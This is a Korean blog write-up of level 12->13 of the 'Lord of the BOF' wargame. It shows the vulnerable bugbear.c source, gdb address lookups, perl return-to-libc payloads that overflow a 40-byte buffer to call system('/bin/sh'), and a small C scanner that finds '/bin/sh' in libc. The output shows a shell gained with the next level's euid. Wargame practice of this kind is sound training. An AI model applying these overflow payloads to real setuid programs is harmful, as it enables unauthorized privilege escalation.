본문 바로가기

워게임/lord of bof

level 12 -> 13



[darkknight@localhost darkknight]$ cat bugbear.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - bugbear

        - RTL1

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack betrayed you!!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}

 


와 드디어 RTL 문제가 나왔군요..


간단하게 시스템 함수와 환경변수를 이용해 /bin/sh를 호출하겠습니다.


[darkknight@localhost darkknight]$ export sh="/bin/sh"  

[darkknight@localhost darkknight]$ /tmp/getenv sh

0xbffffd11


(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>


`perl -e 'print "A"x44, "\xe0\x8a\x05\x40", "A"x4, "\x11\xfd\xff\xbf"'`


이유는 모르겠는데 안되네요; 직접 gdb까서 보니까 저 값이 아예 다른곳을 참조하더군요..


그래서 그냥 직접 env 영역에서 주소 파싱해서 입력해봤습니당


첨할땐 주소 바껴서 안되가지고 core 이용해서 다시 주소를 찾아서 시도해봤습니다.


(gdb) x/10s 0xbffffee9

0xbffffee9: "/bin/sh"


(gdb) q

, "\xe9\xfe\xff\xbf"'`test]$ ./bugbear `perl -e 'print "A"x44, "\xe0\x8a\x05\x40", "A"x4,

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@AAAA蕓

bash$       


굿 잘되네요


int main(int argc, char * argv[])

{

    long shell;

    shell = 0x40058ae0;

    while(memcmp((void *)shell, "/bin/sh", 8)) shell++;

    printf("/bin/sh = %p\n",shell);

}


굳이 환경변수 영역이 아니라도 이거 이용해서 풀어도 풀려요 ㅋㅋ


 "A"x4, "\xf9\xbf\x0f\x40"'`ight]$ ./bugbear `perl -e 'print "A"x44, "\xe0\x8a\x05\x40", 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@AAAA廈@

bash$ id    

uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)

bash$ my-pass

euid = 513

new divide

bash$


'워게임 > lord of bof' 카테고리의 다른 글

level 14 -> 15  (0) 2015.10.23
level 13 -> 14  (0) 2015.10.23
level 11 -> 12  (0) 2015.10.23
level 10 -> 11  (0) 2015.10.23
level 9 -> 10  (0) 2015.10.23